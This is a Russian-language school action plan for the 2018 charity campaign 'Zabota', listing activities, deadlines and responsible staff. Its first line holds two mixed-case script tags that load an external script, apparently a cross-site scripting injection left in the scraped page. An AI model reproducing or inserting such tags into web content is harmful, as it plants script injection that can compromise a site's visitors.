<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
План мероприятий по проведению
республиканской акции «Забота»
(с 10 января по 10 февраля 2018 года)
В ГУ «Новорыбинская средняя школа-сад»
2017-2018 учебный год
|
№ |
Мероприятие |
Сроки исполнения |
Ответственные |
|
1.
|
Изучение документации по организации и проведению акции «Забота» |
До 11.01.2018 |
Администрация |
|
2.
|
Подготовка приказа о проведении акции «Забота» |
До 10.01.2018 |
Администрация |
|
3.
|
Проведение конференции о начале акции «Забота» |
11-13.01.2018 |
Администрация |
|
4.
|
Утверждение списков детей из малообеспеченных и многодетных семей |
11-13.01.2018 |
Акимат, Администрация |
|
5.
|
Проведение работы информационного характера по фактам профилактики «бросания» школы и непосещения занятий |
11.01-10.02.2018 |
Администрация, классные руководители |
|
6.
|
Проведение благотворительной ярмарки «Забота», оказание материальной помощи детям из социально незащищенных семей |
11.01-10.02.2018 |
Психолог школы |
|
7.
|
Размещение информации о ходе проведения акции «Забота» на сайте, в СМИ |
11.01-10.02.2018 |
Администрация |
|
8.
|
Проведение рейдов с целью выявления детей неохваченных обучением |
11.01-10.02.2018 |
Классные руководители, психолог школы |
|
9.
|
Оформить рубрику «Забота» на сайте
|
11.01-10.02.2018 |
Администрация |
|
10.
|
Организация «телефона доверия» по республиканской акции «Забота» 33223 |
11.01-10.02.2018 |
Психолог школы, администрация |
|
11.
|
Подготовка и распространение на улицах, в организациях и учреждениях, торговых точках информационных листов о проведении республиканской акции «Забота» |
До 15.01.2018 |
Вожатая |
|
12.
|
Создание пункта гуманитарной помощи для последующей передачи нуждающимся детям из многодетных семей, малообеспеченных семей, детей-сирот школьными принадлежностями |
11.01-10.02.2018 |
Психолог школы |
|
13.
|
Промежуточные итоги по акции «Забота» с публикацией фотографий |
19,26 января 2,9 февраля |
Администрация |
|
14.
|
Отчет о проведении акции забота
|
12,13.02.2018 |
Администрация |